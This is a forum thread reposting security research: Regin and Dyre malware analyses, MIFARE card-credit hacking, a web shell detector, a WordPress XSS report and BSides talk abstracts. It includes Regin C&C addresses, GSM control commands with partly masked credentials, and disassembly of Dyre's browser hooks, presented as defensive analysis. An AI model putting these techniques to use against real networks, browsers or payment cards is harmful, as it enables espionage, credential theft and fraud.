Nytro

[h=1]Adrien de Beaupre - Making Pen-Testing Analysis Sexy[/h] n-PUPDQ0H&index=6Publicat pe 24 nov. 2014 This talk was recorded at BSides Winnipeg 2013. More information can be found at BSides Winnipeg 2013. This presentation will discuss information security penetration testing methodology, and how portions of the test process may be automated. The analysis of test results can be made more efficient through development of additional tools to assist the analyst. The Open Source Security Assessment Management System (OSSAMS) will be presented, which is a framework for the automation, data collection, analysis, and reporting in penetration testing and vulnerability assessment efforts. OSSAMS is written in Python and allows for the processing of tool results, parsing and normalizing the data, extraction of meaningful information via query, and more effective analysis. Adrien is a senior Information Security Consultant with Intru-Shun.ca Inc., experienced in penetration testing and incident response. He also holds the ISC2 CISSP, GXPN (GIAC Exploit Researcher and Advanced Penetration Tester), GWAPT (GIAC Web Application Penetration Tester), GPEN (GIAC Penetration Tester), GCIH (GIAC Certified Incident Handler), GCIA (GIAC Certified Intrusion Analyst), GSEC (GIAC Security Essentials), OPST (OSSTMM Professional Security Tester), and OPSA (OSSTMM Professional Security Analyst) certifications. As a volunteer member of the SANS Internet Storm Center (isc.sans.edu) he performs incident handling and threat analysis duties. When not geeking out Adrien can be found with his family, or at the dojo.

[h=1]Michael Zapp - SSD Security Risks[/h] n-PUPDQ0H&index=7Publicat pe 24 nov. 2014 This talk was recorded at BSides Winnipeg 2013. More information can be found at BSides Winnipeg 2013. Solid state storage devices provide many performance improvements but they also change how data is managed at the physical layer. Those changes lead to new opportunities for the extraction of sensitive data. This talk will outline how SSDs work, how they are managed, how this can be exploited, and what we can do to mitigate the risks. Michael is a Senior Instructor in the Department of Computer Science at the University of Manitoba. In addition to being the best Computer Science instructor around (opinions may differ), he has developed a number of vehicular embedded systems, including transmission controllers and instrument clusters. Michael also developed a go kart engine controller that receives commands via a custom designed handheld device, over a radio protocol of his own design.

[h=1]Michael Legary - NFC & RFID Harvesting for REDACTED[/h] n-PUPDQ0H&index=8Publicat pe 24 nov. 2014 This talk was recorded at BSides Winnipeg 2013. More information can be found at BSides Winnipeg 2013. Mike will discuss areas of experimentation and research for NFC and RFID harvesting including the best ways to make your own long range antennas for NFC reading, and the most interesting hardware builds that you can create to harvest data for close or wide range target applications. Physical hardware examples will be made available throughout the day for experimentation. Michael is an entrepreneur in the security industry who focuses on innovative approaches to building things that secure large enterprise. As a security practitioner, Michael spends his time on researching topics that impact security architecture, risk assessment and forensic procedure, working with folks across the globe to try making things better one day at a time.

[h=1]Mark Jenkins - Auditable Offline Bitcoin Wallet Implementation[/h] n-PUPDQ0H&index=11Publicat pe 24 nov. 2014 This talk was recorded at BSides Winnipeg 2013. More information can be found at BSides Winnipeg 2013. Motivations for operating an offline bitcoin wallet will be explained and security risks associated with obtaining and relying on such software will be examined. The practicality of performing software audits will be discussed, with the size of Armory's code as an example. A small, offline bitcoin wallet implementation will be demonstrated and auditability examined. The presentation will conclude with the potential useful role for self-programmable retro computers under more paranoid circumstances.

[h=1]Richard Rodd & Chris Otto - USB: A Look Inside[/h] Publicat pe 24 nov. 2014 This talk was recorded at BSides Winnipeg 2013. More information can be found at BSides Winnipeg 2013. This talk will be an introduction to the USB protocol at the packet level, leading into an overview of a hardware device that sniffs the USB data of a connection by sitting on the wire between the two endpoints - host and device. Also covered will be the analysis of a USB device through PCAP analysis. Richard has his P. Eng., and is an instructor at the University of Manitoba's School of Medical Rehabilitation. While his courses and research are primarily in the field of assistive technology, information security and reverse engineering have been of interest to him since his early days of programming on the TRS-80, Commodore VIC-20, and Apple IIe. Chris is a senior developer at Novra Technologies in Winnipeg. He has over 15 years of experience, both personal and professional, designing and developing various systems and products ranging from embedded controllers and interfaces, mobile Android application development, to developing parts of DB2.

Link: https://nsa.gov1.info/dni/nsa-ant-catalog/index.html

L-am descarcat si ma uit peste el. Pare scris cu picioarele. Un jeg. Dar il testam si daca pare ok il lasam.

Regin: Nation-state ownage of GSM networks "Beware of Regin, the master! His heart is poisoned. He would be thy bane..." By GReAT on November 24, 2014. 2:00 pm Incidents Research GReAT Kaspersky Labs' Global Research & Analysis Team @e_kaspersky/great Motto: "Beware of Regin, the master! His heart is poisoned. He would be thy bane..." "The Story of Siegfried" by James Baldwin Introduction, history Download our full Regin paper (PDF). In the spring of 2012, following a Kaspersky Lab presentation on the unusual facts surrounding the Duqu malware, a security researcher contacted us and mentioned that Duqu reminded him of another high-end malware incident. Although he couldn't share a sample, the third-party researcher mentioned the "Regin" name, a malware attack that is now dreaded by many security administrators in governmental agencies around the world. For the past two years, we've been tracking this most elusive malware across the world. From time to time, samples would appear on various multi-scanner services, but they were all unrelated to each other, cryptic in functionality and lacking context. It's unknown exactly when the first samples of Regin were created. Some of them have timestamps dating back to 2003. The victims of Regin fall into the following categories: Telecom operators Government institutions Multi-national political bodies Financial institutions Research institutions Individuals involved in advanced mathematical/cryptographical research So far, we've observed two main objectives from the attackers: Intelligence gathering Facilitating other types of attacks While in most cases, the attackers were focused on extracting sensitive information, such as e-mails and documents, we have observed cases where the attackers compromised telecom operators to enable the launch of additional sophisticated attacks. More about this in the GSM Targeting section below. Perhaps one of the most publicly known victims of Regin is Jean Jacques Quisquater (https://en.wikipedia.org/wiki/Jean-Jacques_Quisquater), a well-known Belgian cryptographer. In February 2014, Quisquater announced he was the victim of a sophisticated cyber intrusion incident. We were able to obtain samples from the Quisquater case and confirm they belong to the Regin platform. Another interesting victim of Regin is a computer we are calling "The Magnet of Threats". This computer belongs to a research institution and has been attacked by Turla, Mask/Careto, Regin, Itaduke, Animal Farm and some other advanced threats that do not have a public name, all co-existing happily on the same computer at some point. Initial compromise and lateral movement The exact method of the initial compromise remains a mystery, although several theories exist, which include man-in-the-middle attacks with browser zero-day exploits. For some of the victims, we observed tools and modules designed for lateral movement. So far, we have not encountered any exploits. The replication modules are copied to remote computers by using Windows administrative shares and then executed. Obviously, this technique requires administrative privileges inside the victim's network. In several cases, the infected machines were also Windows domain controllers. Targeting of system administrators via web-based exploits is one simple way of achieving immediate administrative access to the entire network. The Regin platform In short, Regin is a cyber-attack platform which the attackers deploy in the victim networks for ultimate remote control at all possible levels. The platform is extremely modular in nature and has multiple stages. Regin platform diagram The first stage ("stage 1") is generally the only executable file that will appear in victim' systems. Further stages are stored either directly on the hard drive (for 64 bit systems), as NTFS Extended Attributes or registry entries. We've observed many different stage 1 modules, which sometimes have been merged with public sources to achieve a type of polymorphism, complicating the detection process. The second stage has multiple purposes and can remove the Regin infection from the system if instructed so by the 3rd stage. The second stage also creates a marker file that can be used to identify the infected machine. Known filenames for this marker are: %SYSTEMROOT%\system32\nsreg1.dat %SYSTEMROOT%\system32\bssec3.dat %SYSTEMROOT%\system32\msrdc64.dat Stage 3 exists only on 32 bit systems - on 64 bit systems, stage 2 loads the dispatcher directly, skipping the third stage. Stage 4, the dispatcher, is perhaps the most complex single module of the entire platform. The dispatcher is the user-mode core of the framework. It is loaded directly as the third stage of the 64-bit bootstrap process or extracted and loaded from the VFS as module 50221 as the fourth stage on 32-bit systems. The dispatcher takes care of the most complicated tasks of the Regin platform, such as providing an API to access virtual file systems, basic communications and storage functions as well as network transport sub-routines. In essence, the dispatcher is the brain that runs the entire platform. A thorough description of all malware stages can be found in our full technical paper. Virtual File Systems (32/64-bit) The most interesting code from the Regin platform is stored in encrypted file storages, known as Virtual File Systems (VFSes). During our analysis we were able to obtain 24 VFSes, from multiple victims around the world. Generally, these have random names and can be located in several places in the infected system. For a full list, including format of the Regin VFSes, see our technical paper. Unusual modules and artifacts With high-end APT groups such as the one behind Regin, mistakes are very rare. Nevertheless, they do happen. Some of the VFSes we analyzed contain words which appear to be the respective codenames of the modules deployed on the victim: legspinv2.6 and LEGSPINv2.6 WILLISCHECKv2.0 HOPSCOTCH Another module we found, which is a plugin type 55001.0 references another codename, which is U_STARBUCKS: GSM Targeting The most interesting aspect we found so far about Regin is related to an infection of a large GSM operator. One VFS encrypted entry we located had internal id 50049.2 and appears to be an activity log on a GSM Base Station Controller. From https://en.wikipedia.org/wiki/Base_station_subsystem According to the GSM documentation (http://www.telecomabc.com/b/bsc.html): "The Base Station Controller (BSC) is in control of and supervises a number of Base Transceiver Stations (BTS). The BSC is responsible for the allocation of radio resources to a mobile call and for the handovers that are made between base stations under his control. Other handovers are under control of the MSC." Here's a look at the decoded Regin GSM activity log: This log is about 70KB in size and contains hundreds of entries like the ones above. It also includes timestamps which indicate exactly when the command was executed. The entries in the log appear to contain Ericsson OSS MML (Man-Machine Language as defined by ITU-T) commands. Here's a list of some commands issued on the Base Station Controller, together with some of their timestamps: 2008-04-25 11:12:14: rxmop:moty=rxotrx; 2008-04-25 11:58:16: rxmsp:moty=rxotrx; 2008-04-25 14:37:05: rlcrp:cell=all; 2008-04-26 04:48:54: rxble:mo=rxocf-170,subord; 2008-04-26 06:16:22: rxtcp:MOty=RXOtg,cell=kst022a; 2008-04-26 10:06:03: IOSTP; 2008-04-27 03:31:57: rlstc:cell=pty013c,state=active; 2008-04-27 06:07:43: allip:acl=a2; 2008-04-28 06:27:55: dtstp:DIP=264rbl2; 2008-05-02 01:46:02: rlstp:cell=all,state=halted; 2008-05-08 06:12:48: rlmfc:cell=NGR035W,mbcchno=83&512&93&90&514&522,listtype=active; 2008-05-08 07:33:12: rlnri:cell=NGR058y,cellr=ngr058x; 2008-05-12 17:28:29: rrtpp:trapool=all; [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 9 10 11 12 13 [/TD] [TD=class: crayon-code]2008-04-25 11:12:14: rxmop:moty=rxotrx; 2008-04-25 11:58:16: rxmsp:moty=rxotrx; 2008-04-25 14:37:05: rlcrp:cell=all; 2008-04-26 04:48:54: rxble:mo=rxocf-170,subord; 2008-04-26 06:16:22: rxtcp:MOty=RXOtg,cell=kst022a; 2008-04-26 10:06:03: IOSTP; 2008-04-27 03:31:57: rlstc:cell=pty013c,state=active; 2008-04-27 06:07:43: allip:acl=a2; 2008-04-28 06:27:55: dtstp:DIP=264rbl2; 2008-05-02 01:46:02: rlstp:cell=all,state=halted; 2008-05-08 06:12:48: rlmfc:cell=NGR035W,mbcchno=83&512&93&90&514&522,listtype=active; 2008-05-08 07:33:12: rlnri:cell=NGR058y,cellr=ngr058x; 2008-05-12 17:28:29: rrtpp:trapool=all;[/TD] [/TR] [/TABLE] Descriptions for the commands: rxmop - check software version type; rxmsp - list current call forwarding settings of the Mobile Station; rlcrp - list off call forwarding settings for the Base Station Controller; rxble - enable (unblock) call forwarding; rxtcp - show the Transceiver Group of particular cell; allip - show external alarm; dtstp - show DIgital Path (DIP) settings (DIP is the name of the function used for supervision of the connected PCM (Pulse Code Modulation) lines); rlstc - activate cell(s) in the GSM network; rlstp - stop cell(s) in the GSM network; rlmfc - add frequencies to the active broadcast control channel allocation list; rlnri - add cell neightbour; rrtpp - show radio transmission transcoder pool details; The log seems to contain not only the executed commands but also usernames and passwords of some engineering accounts: sed[snip]:Alla[snip] hed[snip]:Bag[snip] oss:New[snip] administrator:Adm[snip] nss1:Eric[snip] In total, the log indicates that commands were executed on 136 different cells. Some of the cell names include "prn021a, gzn010a, wdk004, kbl027a, etc...". The command log we obtained covers a period of about one month, from April 25, 2008 through May 27, 2008. It is unknown why the commands stopped in May 2008 though; perhaps the infection was removed or the attackers achieved their objective and moved on. Another explanation is that the attackers improved or changed the malware to stop saving logs locally and that's why only some older logs were discovered. Communication and C&C The C&C mechanism implemented in Regin is extremely sophisticated and relies on communication drones deployed by the attackers throughout the victim networks. Most victims communicate with another machine in their own internal network, through various protocols, as specified in the config file. These include HTTP and Windows network pipes. The purpose of such a complex infrastructure is to achieve two goals: give attackers access deep into the network, potentially bypassing air gaps and restrict as much as possible the traffic to the C&C. Here's a look at the decoded configurations: 17.3.40.101 transport 50037 0 0 y.y.y.5:80 ; transport 50051 217.y.y.yt:443 17.3.40.93 transport 50035 217.x.x.x:443 ; transport 50035 217.x.x.x:443 50.103.14.80 transport 27 203.199.89.80 ; transport 50035 194.z.z.z:8080 51.9.1.3 transport 50035 192.168.3.3:445 ; transport 50035 192.168.3.3:9322 18.159.0.1 transport 50271 DC ; transport 50271 DC [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 [/TD] [TD=class: crayon-code]17.3.40.101 transport 50037 0 0 y.y.y.5:80 ; transport 50051 217.y.y.yt:443 17.3.40.93 transport 50035 217.x.x.x:443 ; transport 50035 217.x.x.x:443 50.103.14.80 transport 27 203.199.89.80 ; transport 50035 194.z.z.z:8080 51.9.1.3 transport 50035 192.168.3.3:445 ; transport 50035 192.168.3.3:9322 18.159.0.1 transport 50271 DC ; transport 50271 DC[/TD] [/TR] [/TABLE] In the above table, we see configurations extracted from several victims that bridge together infected machines in what appears to be virtual networks: 17.3.40.x, 50.103.14.x, 51.9.1.x, 18.159.0.x. One of these routes reaches out to the "external" C&C server at 203.199.89.80. The numbers right after the "transport" indicate the plugin that handles the communication. These are in our case: 27 - ICMP network listener using raw sockets 50035 - Winsock-based network transport 50037 - Network transport over HTTP 50051 - Network transport over HTTPS 50271 - Network transport over SMB (named pipes) The machines located on the border of the network act as routers, effectively connecting victims from inside the network with C&Cs on the internet. After decoding all the configurations we've collected, we were able to identify the following external C&Cs. [TABLE=width: 80%] [TR] [TD=width: 30%, align: center]C&C server IP[/TD] [TD=width: 35%, align: center]Location[/TD] [TD=width: 35%, align: center]Description[/TD] [/TR] [TR] [TD]61.67.114.73[/TD] [TD]Taiwan, Province Of China Taichung[/TD] [TD]Chwbn[/TD] [/TR] [TR] [TD]202.71.144.113[/TD] [TD]India, Chetput[/TD] [TD]Chennai Network Operations (team-m.co)[/TD] [/TR] [TR] [TD]203.199.89.80[/TD] [TD]India, Thane[/TD] [TD]Internet Service Provider[/TD] [/TR] [TR] [TD]194.183.237.145[/TD] [TD]Belgium, Brussels[/TD] [TD]Perceval S.a.[/TD] [/TR] [/TABLE] One particular case includes a country in the Middle East. This case was mind-blowing so we thought it's important to present it. In this specific country, all the victims we identified communicate with each other, forming a peer-to-peer network. The P2P network includes the president's office, a research center, educational institution network and a bank. These victims spread across the country are all interconnected to each other. One of the victims contains a translation drone which has the ability to forward the packets outside of the country, to the C&C in India. This represents a rather interesting command-and-control mechanism, which is guaranteed to raise very little suspicions. For instance, if all commands to the president's office are sent through the bank's network, then all the malicious traffic visible for the president's office sysadmins will be only with the bank, in the same country. Victim Statistics Over the past two years, we collected statistics about the attacks and victims of Regin. These were aided by the fact that even after the malware is uninstalled, certain artifacts are left behind which can help identify an infected (but cleaned) system. For instance, we've seen several cases where the systems were cleaned but the "msrdc64.dat" infection marker was left behind. So far, victims of Regin were identified in 14 countries: Algeria Afghanistan Belgium Brazil Fiji Germany Iran India Indonesia Kiribati Malaysia Pakistan Russia Syria In total, we counted 27 different victims, although it should be pointed out that the definition of a victim here refers to a full entity, including their entire network. The number of unique PCs infected with Regin is of course much, much higher. From the map above, Fiji and Kiribati are unusual, because we rarely see such advanced malware in such remote, small countries. In particular, the victim in Kiribati is most unusual. To put this into context, Kiribati is a small island in the Pacific, with a population around 100,000. More information about the Regin victims is available through Kaspersky Intelligent Services. Contact: intelreports@kaspersky.com Attribution Considering the complexity and cost of Regin development, it is likely that this operation is supported by a nation-state. While attribution remains a very difficult problem when it comes to professional attackers such as those behind Regin, certain metadata extracted from the samples might still be relevant. As this information could be easily altered by the developers, it's up to the reader to attempt to interpret this: as an intentional false flag or a non-critical indicator left by the developers. More information about Regin is available to Kaspersky Intelligent Services' clients. Contact: intelreports@kaspersky.com Conclusions For more than a decade, a sophisticated group known as Regin has targeted high-profile entities around the world with an advanced malware platform. As far as we can tell, the operation is still active, although the malware may have been upgraded to more sophisticated versions. The most recent sample we've seen was from a 64-bit infection. This infection was still active in the spring of 2014. The name Regin is apparently a reversed "In Reg", short for "In Registry", as the malware can store its modules in the registry. This name and detections first appeared in anti-malware products around March 2011. From some points of view, the platform reminds us of another sophisticated malware: Turla. Some similarities include the use of virtual file systems and the deployment of communication drones to bridge networks together. Yet through their implementation, coding methods, plugins, hiding techniques and flexibility, Regin surpasses Turla as one of the most sophisticated attack platforms we have ever analysed. The ability of this group to penetrate and monitor GSM networks is perhaps the most unusual and interesting aspect of these operations. In today's world, we have become too dependent on mobile phone networks which rely on ancient communication protocols with little or no security available for the end user. Although all GSM networks have mechanisms embedded which allow entities such as law enforcement to track suspects, there are other parties which can gain this ability and further abuse them to launch other types of attacks against mobile users. Full technical paper with IOCs. Kaspersky products detect modules from the Regin platform as: Trojan.Win32.Regin.gen and Rootkit.Win32.Regin. If you detect a Regin infection in your network, contact us at: intelservices@kaspersky.com Sursa: Regin: Nation-state ownage of GSM networks - Securelist

Understanding Crypto-Ransomware Table of Contents Executive Summary 3 Introduction 4 Dataset and Timeline 6 Analysis Methodology 8 Results 11 Droppers, anti-analysis and persistence 11 C&C communication 13 Encryption 15 Targeted file types 17 Payment options 20 Implementation, flaws and version evolution 22 Conclusion 24 References 26 Appendix A: Fake Cryptolocker C&C Server 28 and CryptDecrypt Hook Appendix B: Fake Cryptowall C&C Server 30 Appendix C: Hooking WriteProcessMemory 32 About Bromium 35 Download: http://www.bromium.com/sites/default/files/bromium-report-ransomware.pdf

Hacking RFID Payment Cards Made Possible with Android App 2:03 am (UTC-7) | by Veo Zhang (Mobile Threats Analyst) We recently encountered a high-risk Android app detected as ANDROIDOS_STIP.A in Chile. This app, found distributed through forums and blogs, can be used to hack into the user’s RFID bus transit card to recharge the credits. What is the mechanism behind this, and what is the security risk of RFID payment cards in general? Paying via RFID cards is becoming more popular nowadays as more mobile devices add NFC support. Banks, merchants or public services issue RFID cards to their customers with prepaid credits. Security Issues with RFID Cards Because it is widely used, it’s no surprise that that RFID cards have become targeted by attacks. Take for instance the recent Tarjeta bip! card hacking incident in Chile. These cards are MIFARE-based smartcards; MIFARE refers to a family of chips widely used in contactless smart cards and proximity cards. Figure 1. MIFARE devices Looking at the code of the Android app, we found that if it runs on a device equipped with NFC it can read and write to these cards. The malicious app writes predefined data onto the card, raising the user’s balance to 10,000 Chilean pesos (approximately 15 US dollars). This particular trick will only work with this particular fare card, since it relies on the format of the card in question. How was the tool’s author able to rewrite the card’s information despite not having the correct authentication keys? This is because these cards are based on an older version of the MIFARE series of cards (MIFARE Classic), which is known to have multiple security problems. An attacker is able to clone or modify a MIFARE Classic card in under 10 seconds, and the equipment (such as the Proxmark3), together with any needed support, is sold online. Figure 2. Proxmark3 for sale Using widely available tools, the attacker cracked the card’s authentication key. With the cracked key and the native NFC support in Android and the device, cloning a card and adding credits can be easily implemented in a mobile app. Figure 3. Manufacturer and memory content of a MIFARE Classic card Attacks on other kinds of MIFARE cards (specifically, MIFARE DESFire and MIFARE Ultralight) are known to exist. We know of at least three vulnerable cards which we have: a social security card with banking service, a payment card for transportation and shopping, and a dining card. The social security card has approximately seven million users. Figure 4. MIFARE DESFire-based social security card The dining card uses MIFARE Classic cards, and our testing revealed the on-card credits can be manipulated. The two other cards are MIFARE DESFire cards, which are vulnerable to side-channel attacks. The cryptosystems in these cards leak information if the power used is monitored; the keys can be recovered within seven hours. If the issued keys are not random, customer cards can be cloned or manipulated similarly to MIFARE Classic cards. Or even worse, credits can also be manipulated within a NFC-enabled mobile device. Conclusion These particular MIFARE models were discontinued years ago and supplemented with more secure models. However, it appears that card issuers have opted for cheaper solutions which put their customers at risk. NFC We recommend customers take steps to protect RFID cards in their possession. They should also periodically check the balances of their accounts as well. In addition, if possible, they should check if any cards they are currently using are vulnerable and report these to their providers. RFID/NFC attacks are a well-known risk; in the past we have provided tips both to end users and businesses on how to use NFC safely. Sursa: Hacking RFID Payment Cards Made Possible with Android App | Security Intelligence Blog | Trend Micro

Regin: Top-tier espionage tool enables stealthy surveillance Symantec Security Response Version 1.0 – November 24, 2014 OVERVIEW...................................................................... 3 Introduction................................................................... 5 Timeline.......................................................................... 5 Target profile.................................................................. 6 Infection vector........................................................ 6 Architecture................................................................... 8 Stage 0 (dropper)..................................................... 9 Stage 1...................................................................... 9 Stage 2...................................................................... 9 Stage 3...................................................................... 9 Stage 4............................................................ 11 Stage 5.................................................................... 11 Encrypted virtual file system containers ?????????????? 11 Command-and-control operations......................... 12 Logging................................................................... 12 Payloads....................................................................... 14 64-bit version............................................................... 15 File names.............................................................. 15 Stage differences................................................... 15 Conclusion.................................................................... 16 Protection..................................................................... 16 Appendix...................................................................... 18 Data files................................................................ 18 Indicators of compromise............................................ 20 File MD5s................................................................ 20 File names/paths.................................................... 20 Extended attributes............................................... 21 Registry.................................................................. 21 Download: http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/regin-analysis.pdf

Web Shell Detector Web Shell Detector – is a php script that helps you find and identify php/cgi(perl)/asp/aspx shells. Web Shell Detector has a “web shells” signature database that helps to identify “web shell” up to 99%. By using the latest javascript and css technologies, web shell detector has a light weight and friendly interface. Web Shell Detector is released under the MIT License The MIT License (MIT) | Open Source Initiative Console version (python): https://github.com/emposha/Shell-Detector Contributors Piotr ?uczko John Thornton Detection Number of known shells: 604 Requirements PHP 5.x, OpenSSL (only for secure file submission) Usage To activate Web Shell Detector: 1) Upload shelldetect.php and shelldetect.db to your root directory 2) Open shelldetect.php file in your browser Example: http://www.website.com/shelldetect.php 3) Inspect all strange files, if some of files look suspicious, send them to Web Shell Detector team. After submitting your file, it will be inspected and if there are any threats, it will be inserted into a “web shell detector” web shells signature database. 4) If any web shells found and identified use your ftp/ssh client to remove it from your web server (IMPORTANT: please be carefull because some of shells may be integrated into system files!). Demo http://www.emposha.com/demo/shelldetect/ Options extension - extensions that should be scanned showlinenumbers - show line number where suspicious function used dateformat - used with access time & modified time langauge - if I want to use other language directory - scan specific directory task - perform different task report_format - used with is_cron(true) file format for report file is_cron - if true run like a cron(no output) filelimit - maximum files to scan (more then 30000 you should scan specific directory) useget - activate _GET variable for easy way to recive tasks authentication - protect script with user & password in case to disable simply set to NULL remotefingerprint - get shells signatures db by remote Sursa: https://github.com/emposha/PHP-Shell-Detector

Dyre IE Hooks I recently wrapper up my analysis of Dyre. A PDF of document can be found in my papers repo. Most of the document focuses on the different stages that Dyre interacts with the operating system. There are still some areas that I'd like to dig deeper into. For now it should be a good resource for anyone trying to identify a machine infected with Dyre or wanting to know more about the family of malware. During the reversing process I found one part of Dyre functionality worthy of a post. As with most banking trojans Dyre contains functionality to hook APIs to log browser traffic. Typically to get the addresses of the APIs the sample will call GetProcAddress or manually traverse the portable executable file format to resolve symbols. If you are unfamiliar with the later technique I'd highly recommend reading section 3.3 of "Understanding Windows Shellcode" by Skape [1]. Dyre attempts to hook APIs in firefox.exe, chrome.exe and iexplorer.exe. It uses the standard GetProcAddress approach for resolving symbols in firefox.exe, is unsuccessful in chrome.exe and uses the GetProcAddress approach for the APIs LoadLibraryExW and CreateProcessInternalW in iexplorer.exe. Dyre hooks two APIs in WinInet.dll but it does it in a unique way. Dyre will read the image header timedatestamp [2] from WinInet. This value contains the time and date from when Wininet was created by the linker during compiling. It will then compare the timedatestamp to a list of timedatestamps stored by Dyre. The list contains presumably every time stamp for WinInet.dll since '2004-08-04 01:53:22' to '2014-07-25 04:04:59'. Below is an example of the values that can be found in the list. seg000:00A0C05F db 0 seg000:00A0C060 TimeStampList dd 4110941Bh ; DATA XREF: TimeStamp:_loopr seg000:00A0C064 dword_A0C064 dd 0 ; DATA XREF: TimeStamp+1Cr seg000:00A0C064 ; TimeStamp:loc_A07A0Dr ... seg000:00A0C068 dd 411095F2h <- Time stamp seg000:00A0C06C dd 0 <- WinInet index seg000:00A0C070 dd 4110963Fh seg000:00A0C074 dd 0 seg000:00A0C078 dd 4110967Dh seg000:00A0C07C dd 0 seg000:00A0C080 dd 411096D4h seg000:00A0C084 dd 0 seg000:00A0C088 dd 411096DDh seg000:00A0C08C dd 0 seg000:00A0C090 dd 41252C1Bh seg000:00A0C094 dd 0 ..... seg000:00A0C0AC dd 1 seg000:00A0C0B0 dd 435862A0h seg000:00A0C0B4 dd 2 seg000:00A0C0B8 dd 43C2A6A9h seg000:00A0C0BC dd 3 .... seg000:00A0D230 dd 4CE7BA3Fh seg000:00A0D234 dd 78h seg000:00A0D238 dd 53860FB3h seg000:00A0D23C dd 79h seg000:00A0D240 dd 53D22BCBh seg000:00A0D244 dd 7Ah Values converted to time >>> datetime.datetime.fromtimestamp(0x411095F2).strftime('%Y-%m-%d %H:%M:%S') '2004-08-04 01:53:22' >>> datetime.datetime.fromtimestamp(0x53D22BCB).strftime('%Y-%m-%d %H:%M:%S') '2014-07-25 04:04:59' If the timedatestamp is not present or an error occurs Dyre will send the hash of WinInet to the attackers server. If the hash is not found it will send WinInet back to the attackers. Below are some of the strings responsible for displaying errors for the command and control. '/%s/%s/63/file/%s/%s/%s/' "Check wininet.dll on server failed" "Send wininet.dll failed" If the timedatestamp is found in the list the next value is used as an index into another list. For example if the timedatestamp was 4802A13Ah it would be found at the 49th entry and the next value would be 0x15 or 21. Data seg000:00A0C1E8 dd 4802A13Ah <- '2008-04-13 18:11:38' seg000:00A0C1EC dd 15h <- 21 index Assembly to read index value seg000:00A07A0D movsx edx, word ptr ds:TimeStampIndex[eax*8] ; edx = 21 seg000:00A07A15 lea edx, [edx+edx*2] ; edx = 63 seg000:00A07A18 mov edx, ds:offset[edx*4] seg000:00A07A1F mov [ecx], edx ; save off value Python: calculate offset Python>hex(0x0A0D3E0 + (21+21* 2) * 4) 0xa0d4dc Read seg000:00A0D4DC dw 0F3Ch 0x0f3C offset to inline hook in wininet The value 0xF3C + the base address of WinInet is the function prologue for ICSecureSocket::Send_Fsm. Dyre uses this to know the address to place it's hooks. ICSecureSocket::Send_Fsm(CFsm_SecureSend *) 77200F37 90 NOP 77200F38 90 NOP 77200F39 90 NOP 77200F3A 90 NOP 77200F3B 90 NOP 77200F3C - E9 C7F0398A JMP 015A0008 <- Inline hook 015A0008 68 4077A000 PUSH 0A07740 015A000D C3 RETN 00A07740 55 PUSH EBP 00A07741 8BEC MOV EBP,ESP 00A07743 83EC 08 SUB ESP,8 00A07746 894D FC MOV DWORD PTR SS:[EBP-4],ECX 00A07749 68 2077A000 PUSH 0A07720 00A0774E FF75 08 PUSH DWORD PTR SS:[EBP+8] 00A07751 FF75 FC PUSH DWORD PTR SS:[EBP-4] 00A07754 FF15 94DEA000 CALL DWORD PTR DS:[A0DE94] 00A0775A 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX It will also hooks ICSecureSocket::Receive_Fsm in the same fashion. Closing Rather than calling GetProcAddress Dyre stores the timedatestamp and patch offset of every known version of WinInet to avoid triggering heuristic based scanners. Seems like an arduous approach but still kind of cool. Another interesting fact is Dyre has the ability to patch Trusteer's RapportGP.dll if found in the browser memory. Dyre is actually a family of malware worthy of a deep dive. At first glance I ignored it because everything looked pretty cut & paste. I'd recommend others to check it out. If you find anything useful please shoot me an email. Cheers. Hash Analyzed 099c36d73cad5f13ec1a89d5958486060977930b8e4d541e4a2f7d92e104cd21 http://www.nologin.org/Downloads/Papers/win32-shellcode.pdf IMAGE_FILE_HEADER structure (Windows) Sursa: Hooked on Mnemonics Worked for Me: Dyre IE Hooks

Worst WordPress hole for five years affects 86% of sites Trio of XSS turns attackers into admins By Darren Pauli, 24 Nov 2014 An estimated 86 per cent of WordPress websites harbour a dangerous cross-site scripting (XSS) hole in the popular comment system plugin, in what researcher Jouk Pynnonen calls the most serious flaw in five years. The bug could provide a pathway for attacking visitors' machines. The WP-Statistics plugin lets attackers inject JavaScript into comments, which can then infect reader computers or those of administrators. The flaw has existed for about four years affecting versions between 3.0 to 3.9.2 but not version 4.0 which handles regular expressions differently. Version 4.0.1 patched a separate and also critical set of XSS flaws discovered by the internal security team, along with a cross-site request forgery hole. Klikki Oy security bod Pynnonen revealed the earlier flaw last week in technical advisory. "An attacker could exploit the vulnerability by entering carefully crafted comments, containing program code, on WordPress blog posts and pages. Under default settings comments can be entered by anyone without authentication," Pynnonen said. "Program code injected in comments would be inadvertently executed in the blog administrator's web browser when they view the comment. The rogue code could then perform administrative operations by covertly taking over the administrator account. "Such operations include creating a new administrator account (with a known password), changing the current administrator password, and in the most serious case, executing attacker-supplied PHP code on the server. This grants the attacker operating system level access on the server hosting WordPress." The unauthenticated default exploit considering the server-side impact made it "probably the most serious WordPress core vulnerability that has been reported since 2009". Pynnonen developed a proof of concept exploit that mopped up evidence of injected script before quietly using the plugin editor to write attacker-supplied PHP code on the server, changing the user's password, and creating an administrator account. Attackers could then write more PHP code to the server through the editor instantly executed using an AJAX request to gain operating system level access. Other plugins that allow unprivileged users to enter HTML text could offer more attack vectors, Pynnonen said. Pynnonen created a work-around plugin for administrators who could not upgrade their WordPress servers. Yet a third set of recently patched XSS were discovered by Sucuri researcher Marc-Alexandre Montpas. The stored and reflected XSS in versions 8.3 and below also turned attackers to admins for versions , and permitted blackhat searh engine optimisation innjection into blog posts. "... the problem is very simple," Montpas said. "The plugin fails to properly sanitise some of the data it gathers for statistical purposes, which are controlled by the website's visitors." "If an attacker decided to put malicious Javascript code in the affected parameter, it would be saved in the database and printed as-is in the administrative panel, forcing the victim's browser to perform background tasks on its behalf. SANS diary scribe Johannes B. Ullrich said the XSS vulnerability was a common underestimated problem. "XSS does allow an attacker to modify the HTML of the site," Ullrich said. "Wordpress developers did attempt to implement the necessary safeguards [since] only certain tags are allowed, and even for these tags, the code checked for unsafe attributes. "Sadly, this check wasn't done quite right. Remember that browsers will also parse somewhat malformed HTML just fine." ® Sursa: DEATH by COMMENTS: WordPress XSS vuln is BIGGEST for YEARS • The Register

